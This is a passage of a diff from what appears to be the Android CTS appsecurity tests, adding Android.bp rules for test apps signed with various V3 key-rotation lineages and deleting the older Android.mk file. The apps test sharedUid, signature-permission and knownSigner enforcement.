+// a rotated key and one signer in the lineage with default capabilities.
+android_test_helper_app {
+    name: "v3-ec-p256-with-por_1_2-default-caps",
+    certificate: ":ec-p256_2",
+    additional_certificates: [":ec-p256"],
+    lineage: ":ec-p256-por_1_2-default-caps",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is the test package signed using the V3 signature scheme with
+// a rotated key and part of a shareduid. The capabilities of this lineage
+// grant access to the previous key in the lineage to join the sharedUid.
+android_test_helper_app {
+    name: "v3-ec-p256-with-por_1_2-default-caps-sharedUid",
+    manifest: "AndroidManifest-shareduid.xml",
+    certificate: ":ec-p256_2",
+    additional_certificates: [":ec-p256"],
+    lineage: ":ec-p256-por_1_2-default-caps",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is the test package signed using the V3 signature scheme with
+// a rotated key and part of a shareduid. The signing lineage begins
+// with a key that is not in any of the other lineages and is intended
+// to verify that two packages signed with lineages that have diverged
+// ancestors are not allowed to be installed in the same sharedUserId.
+android_test_helper_app {
+    name: "v3-por_Y_1_2-default-caps-sharedUid",
+    manifest: "AndroidManifest-shareduid.xml",
+    certificate: ":ec-p256_2",
+    additional_certificates: [
+        ":rsa-2048",
+        ":ec-p256",
+    ],
+    lineage: ":por_Y_1_2-default-caps",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is the test package signed using the V3 signature scheme with
+// a rotated key and part of a shareduid. The capabilities of this lineage
+// prevent the previous key in the lineage from joining the sharedUid.
+android_test_helper_app {
+    name: "v3-ec-p256-with-por_1_2-no-shUid-cap-sharedUid",
+    manifest: "AndroidManifest-shareduid.xml",
+    certificate: ":ec-p256_2",
+    additional_certificates: [":ec-p256"],
+    lineage: ":ec-p256-por_1_2-no-shUid-cap",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is the test package signed using the V3 signature scheme with
+// a rotated key and part of a shareduid. The capabilities of this lineage
+// prevent the previous key in the lineage from using a signature permission.
+// This package is intended to verify shared signing keys in separate app
+// lineages retain their own declared capabilities.
+android_test_helper_app {
+    name: "v3-ec-p256-with-por_1_2-no-perm-cap-sharedUid",
+    manifest: "AndroidManifest-shareduid.xml",
+    certificate: ":ec-p256_2",
+    additional_certificates: [":ec-p256"],
+    lineage: ":ec-p256-por_1_2-no-perm-cap",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is the test package with a new name intended to be installed
+// alongside the original test package when verifying platform behavior when
+// two apps share the same previous signer in their lineage with different
+// capabilities granted; the lineage for this package prevents an app signed
+// with the previous signing key from joining a sharedUserId.
+android_test_helper_app {
+    name: "v3-ec-p256-with-por_1_2-no-shUid-cap-declperm2",
+    manifest: "AndroidManifest-declperm2.xml",
+    certificate: ":ec-p256_2",
+    additional_certificates: [":ec-p256"],
+    lineage: ":ec-p256-por_1_2-no-shUid-cap",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is the first companion package signed using the V3 signature scheme
+// with a rotated key and part of a sharedUid. The capabilities of this lineage
+// grant access to the previous key in the lineage to join the sharedUid.
+android_test_helper_app {
+    name: "v3-ec-p256-with-por_1_2-default-caps-sharedUid-companion",
+    manifest: "AndroidManifest-companion-shareduid.xml",
+    certificate: ":ec-p256_2",
+    additional_certificates: [":ec-p256"],
+    lineage: ":ec-p256-por_1_2-default-caps",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is the companion package signed using the V3 signature scheme with
+// a rotated key and part of a shareduid. The signing lineage begins
+// with a key that is not in any of the other lineages and is intended
+// to verify that two packages signed with lineages that have diverged
+// ancestors are not allowed to be installed in the same sharedUserId.
+android_test_helper_app {
+    name: "v3-por_Z_1_2-default-caps-sharedUid-companion",
+    manifest: "AndroidManifest-shareduid.xml",
+    certificate: ":ec-p256_2",
+    additional_certificates: [
+        ":dsa-2048",
+        ":ec-p256",
+    ],
+    lineage: ":por_Z_1_2-default-caps",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is the first companion package signed using the V3 signature scheme
+// with a rotated key and part of a sharedUid but without the signing lineage.
+// This app is intended to test lineage scenarios where an app is only signed
+// with the latest key in the lineage.
+android_test_helper_app {
+    name: "v3-ec-p256-2-sharedUid-companion",
+    manifest: "AndroidManifest-companion-shareduid.xml",
+    certificate: ":ec-p256_2",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is the second companion package signed using the V3 signature scheme
+// with the previous key in the lineage and part of a sharedUid.
+android_test_helper_app {
+    name: "v3-ec-p256-1-sharedUid-companion2",
+    manifest: "AndroidManifest-companion2-shareduid.xml",
+    certificate: ":ec-p256",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is a version of the test package that declares a signature permission.
+// The lineage used to sign this test package does not trust the first signing
+// key but grants default capabilities to the second signing key.
+android_test_helper_app {
+    name: "v3-ec-p256-with-por_1_2_3-1-no-caps-2-default-declperm",
+    manifest: "AndroidManifest-declperm.xml",
+    certificate: ":ec-p256_3",
+    additional_certificates: [
+        ":ec-p256",
+    ],
+    lineage: ":ec-p256-por-1_2_3-1-no-caps-2-default",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is a version of the test package that declares a signature permission.
+// The lineage used to sign this test package does not trust either of the signing
+// keys so an app with only common signers in the lineage should not be granted the
+// permission.
+android_test_helper_app {
+    name: "v3-ec-p256-with-por_1_2_3-no-caps-declperm",
+    manifest: "AndroidManifest-declperm.xml",
+    certificate: ":ec-p256_3",
+    additional_certificates: [
+        ":ec-p256",
+    ],
+    lineage: ":ec-p256-por-1_2_3-no-caps",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is a version of the companion package that requests the signature permission
+// declared by the test package above. This package is signed with a signing key that
+// diverges from the package above and is intended to verify that a common signing
+// key in the lineage that is still granted the permission capability is sufficient
+// to be granted a signature permission.
+android_test_helper_app {
+    name: "v3-ec-p256-with-por_1_2_4-companion-usesperm",
+    manifest: "AndroidManifest-companion-usesperm.xml",
+    certificate: ":ec-p256_4",
+    additional_certificates: [
+        ":ec-p256",
+    ],
+    lineage: ":ec-p256-por-1_2_4-default-caps",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is a version of the companion package that requests the signature permission
+// declared by the test package. This package is signed with the original signing
+// key and is intended to verify that a common signing key shared between two
+// lineages retains its capability from the package declaring the signature permission.
+android_test_helper_app {
+    name: "v3-ec-p256-1-companion-usesperm",
+    manifest: "AndroidManifest-companion-usesperm.xml",
+    certificate: ":ec-p256",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is a version of the test package that declares a signature permission
+// with the knownSigner protection flag. This app is signed with the rsa-2048
+// signing key with the trusted certificates being ec-p256 and ec-p256_3.
+android_test_helper_app {
+    name: "v3-rsa-2048-decl-knownSigner-ec-p256-1-3",
+    manifest: "AndroidManifest-decl-knownSigner.xml",
+    certificate: ":rsa-2048",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is a version of the test package that declares a signature permission
+// without the knownSigner protection flag. This app is signed with the same
+// rsa-2048 signing key to allow updates from the package above. This app can
+// be used to verify behavior when an app initially uses the knownSigner flag
+// and subsequently removes the flag from the permission declaration.
+android_test_helper_app {
+    name: "v3-rsa-2048-declperm",
+    manifest: "AndroidManifest-declperm.xml",
+    certificate: ":rsa-2048",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is a version of the test package that declares a signature permission
+// with the knownSigner protection flag using a string resource instead of a
+// string-array resource for the trusted certs.
+android_test_helper_app {
+    name: "v3-rsa-2048-decl-knownSigner-str-res-ec-p256-1",
+    manifest: "AndroidManifest-decl-knownSigner-str-res.xml",
+    certificate: ":rsa-2048",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is a version of the test package that declares a signature permission
+// with the knownSigner protection flag using a string constant as the value
+// of the knownCerts attribute.
+android_test_helper_app {
+    name: "v3-rsa-2048-decl-knownSigner-str-const-ec-p256-1",
+    manifest: "AndroidManifest-decl-knownSigner-str-const.xml",
+    certificate: ":rsa-2048",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is a version of the companion package that uses the permission
+// declared with the knownSigner flag. This app's current signer is in
+// the array of certificate digests as declared by the test package
+// above.
+android_test_helper_app {
+    name: "v3-ec-p256_3-companion-uses-knownSigner",
+    manifest: "AndroidManifest-uses-knownSigner.xml",
+    certificate: ":ec-p256_3",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is a version of the companion package that uses the permission
+// declared with the knownSigner flag. This app's current signer is not
+// in the array of certificate digests as declared by the test package
+// above.
+android_test_helper_app {
+    name: "v3-ec-p256_2-companion-uses-knownSigner",
+    manifest: "AndroidManifest-uses-knownSigner.xml",
+    certificate: ":ec-p256_2",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
+
+// This is a version of the companion package that uses the permission
+// declared with the knownSigner flag. This app is signed with a rotated
+// signing key with the current signer not in the array of certificate
+// digests as declared by the test package, but the previous signer in
+// the lineage is. This app can be used to verify that knownSigner
+// permissions are also granted if the app was previously signed with
+// one of the declared digests.
+android_test_helper_app {
+    name: "v3-ec-p256-with-por_1_2-companion-uses-knownSigner",
+    manifest: "AndroidManifest-uses-knownSigner.xml",
+    certificate: ":ec-p256_2",
+    additional_certificates: [
+        ":ec-p256",
+    ],
+    lineage: ":ec-p256-por_1_2-default-caps",
+    srcs: ["src/**/*.java"],
+    // resource_dirs is the default value: ["res"]
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
deleted file mode 100644
index f34010c..0000000
--- a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
+++ /dev/null
@@ -1,338 +0,0 @@
-#
-# Copyright (C) 2020 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-cert_dir := cts/hostsidetests/appsecurity/certs/pkgsigverify
-
-# This is the default test package signed with the default key.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := CtsPkgInstallTinyApp
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is the test package v2 signed with the default key.
-include $(LOCAL_PATH)/base.mk
-LOCAL_MANIFEST_FILE := AndroidManifest-v2.xml
-LOCAL_PACKAGE_NAME := CtsPkgInstallTinyAppV2
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is the test package signed using the V1/V2 signature schemes with
-# two signers targeting SDK version 30 with sandbox version 1. From this
-# package the v1-ec-p256-two-signers-targetSdk-30.apk is created with the
-# following command:
-# apksigner sign --in v1v2-ec-p256-two-signers-targetSdk-30.apk --out
-# v1-ec-p256-two-signers-targetSdk-30.apk --cert ec-p256.x509.pem --key
-# ec-p256.pk8 --next-signer --cert ec-p256_2.x509.pem --key ec-p256_2.pk8
-# --v2-signing-enabled false --v3-signing-enabled false --v4-signing-enabled false
-include $(LOCAL_PATH)/base.mk
-LOCAL_SDK_VERSION := 30
-LOCAL_MANIFEST_FILE := AndroidManifest-sandbox-v1.xml
-LOCAL_PACKAGE_NAME := v1v2-ec-p256-two-signers-targetSdk-30
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256
-LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256_2
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is the test package signed using the V3 signature scheme
-# with the previous key in the lineage and part of a sharedUid.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-ec-p256-1-sharedUid
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-shareduid.xml
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is the test package signed using the V3 signature scheme with
-# a rotated key and one signer in the lineage with default capabilities.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2-default-caps
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
-LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
-LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-default-caps
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is the test package signed using the V3 signature scheme with
-# a rotated key and part of a shareduid. The capabilities of this lineage
-# grant access to the previous key in the lineage to join the sharedUid.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2-default-caps-sharedUid
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-shareduid.xml
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
-LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
-LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-default-caps
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is the test package signed using the V3 signature scheme with
-# a rotated key and part of a shareduid. The signing lineage begins
-# with a key that is not in any of the other lineages and is intended
-# to verify that two packages signed with lineages that have diverged
-# ancestors are not allowed to be installed in the same sharedUserId.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-por_Y_1_2-default-caps-sharedUid
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-shareduid.xml
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
-LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/rsa-2048 $(cert_dir)/ec-p256
-LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/por_Y_1_2-default-caps
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is the test package signed using the V3 signature scheme with
-# a rotated key and part of a shareduid. The capabilities of this lineage
-# prevent the previous key in the lineage from joining the sharedUid.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2-no-shUid-cap-sharedUid
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-shareduid.xml
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
-LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
-LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-no-shUid-cap
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is the test package signed using the V3 signature scheme with
-# a rotated key and part of a shareduid. The capabilities of this lineage
-# prevent the previous key in the lineage from using a signature permission.
-# This package is intended to verify shared signing keys in separate app
-# lineages retain their own declared capabilities.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2-no-perm-cap-sharedUid
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-shareduid.xml
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
-LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
-LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-no-perm-cap
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is the test package with a new name intended to be installed
-# alongside the original test package when verifying platform behavior when
-# two apps share the same previous signer in their lineage with different
-# capabilities granted; the lineage for this package prevents an app signed
-# with the previous signing key from joining a sharedUserId.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2-no-shUid-cap-declperm2
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-declperm2.xml
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
-LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
-LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-no-shUid-cap
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is the first companion package signed using the V3 signature scheme
-# with a rotated key and part of a sharedUid. The capabilities of this lineage
-# grant access to the previous key in the lineage to join the sharedUid.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2-default-caps-sharedUid-companion
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-companion-shareduid.xml
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
-LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
-LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-default-caps
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is the companion package signed using the V3 signature scheme with
-# a rotated key and part of a shareduid. The signing lineage begins
-# with a key that is not in any of the other lineages and is intended
-# to verify that two packages signed with lineages that have diverged
-# ancestors are not allowed to be installed in the same sharedUserId.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-por_Z_1_2-default-caps-sharedUid-companion
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-shareduid.xml
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
-LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/dsa-2048 $(cert_dir)/ec-p256
-LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/por_Z_1_2-default-caps
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is the first companion package signed using the V3 signature scheme
-# with a rotated key and part of a sharedUid but without the signing lineage.
-# This app is intended to test lineage scenarios where an app is only signed
-# with the latest key in the lineage.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-ec-p256-2-sharedUid-companion
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-companion-shareduid.xml
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is the second companion package signed using the V3 signature scheme
-# with the previous key in the lineage and part of a sharedUid.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-ec-p256-1-sharedUid-companion2
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-companion2-shareduid.xml
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is a version of the test package that declares a signature permission.
-# The lineage used to sign this test package does not trust the first signing
-# key but grants default capabilities to the second signing key.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2_3-1-no-caps-2-default-declperm
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-declperm.xml
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_3
-LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
-LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por-1_2_3-1-no-caps-2-default
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is a version of the test package that declares a signature permission.
-# The lineage used to sign this test package does not trust either of the signing
-# keys so an app with only common signers in the lineage should not be granted the
-# permission.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2_3-no-caps-declperm
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-declperm.xml
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_3
-LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
-LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por-1_2_3-no-caps
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is a version of the companion package that requests the signature permission
-# declared by the test package above. This package is signed with a signing key that
-# diverges from the package above and is intended to verify that a common signing
-# key in the lineage that is still granted the permission capability is sufficient
-# to be granted a signature permission.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2_4-companion-usesperm
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-companion-usesperm.xml
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_4
-LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
-LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por-1_2_4-default-caps
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is a version of the companion package that requests the signature permission
-# declared by the test package. This package is signed with the original signing
-# key and is intended to verify that a common signing key shared between two
-# lineages retains its capability from the package declaring the signature permission.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-ec-p256-1-companion-usesperm
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-companion-usesperm.xml
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-# This is a version of the test package that declares a signature permission
-# with the knownSigner protection flag. This app is signed with the rsa-2048
-# signing key with the trusted certificates being ec-p256 and ec-p256_3.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-rsa-2048-decl-knownSigner-ec-p256-1-3
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-decl-knownSigner.xml
-LOCAL_CERTIFICATE := $(cert_dir)/rsa-2048
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is a version of the test package that declares a signature permission
-# without the knownSigner protection flag. This app is signed with the same
-# rsa-2048 signing key to allow updates from the package above. This app can
-# be used to verify behavior when an app initially uses the knownSigner flag
-# and subsequently removes the flag from the permission declaration.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-rsa-2048-declperm
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-declperm.xml
-LOCAL_CERTIFICATE := $(cert_dir)/rsa-2048
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is a version of the test package that declares a signature permission
-# with the knownSigner protection flag using a string resource instead of a
-# string-array resource for the trusted certs.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-rsa-2048-decl-knownSigner-str-res-ec-p256-1
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-decl-knownSigner-str-res.xml
-LOCAL_CERTIFICATE := $(cert_dir)/rsa-2048
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is a version of the test package that declares a signature permission
-# with the knownSigner protection flag using a string constant as the value
-# of the knownCerts attribute.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-rsa-2048-decl-knownSigner-str-const-ec-p256-1
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-decl-knownSigner-str-const.xml
-LOCAL_CERTIFICATE := $(cert_dir)/rsa-2048
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is a version of the companion package that uses the permission
-# declared with the knownSigner flag. This app's current signer is in
-# the array of certificate digests as declared by the test package
-# above.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-ec-p256_3-companion-uses-knownSigner
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-uses-knownSigner.xml
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_3
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is a version of the companion package that uses the permission
-# declared with the knownSigner flag. This app's current signer is not
-# in the array of certificate digests as declared by the test package
-# above.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-ec-p256_2-companion-uses-knownSigner
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-uses-knownSigner.xml
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is a version of the companion package that uses the permission
-# declared with the knownSigner flag. This app is signed with a rotated
-# signing key with the current signer not in the array of certificate
-# digests as declared by the test package, but the previous signer in
-# the lineage is. This app can be used to verify that knownSigner
-# permissions are also granted if the app was previously signed with
-# one of the declared digests.
-include $(LOCAL_PATH)/base.mk
-LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2-companion-uses-knownSigner
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest-uses-knownSigner.xml
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
-LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
-LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-default-caps
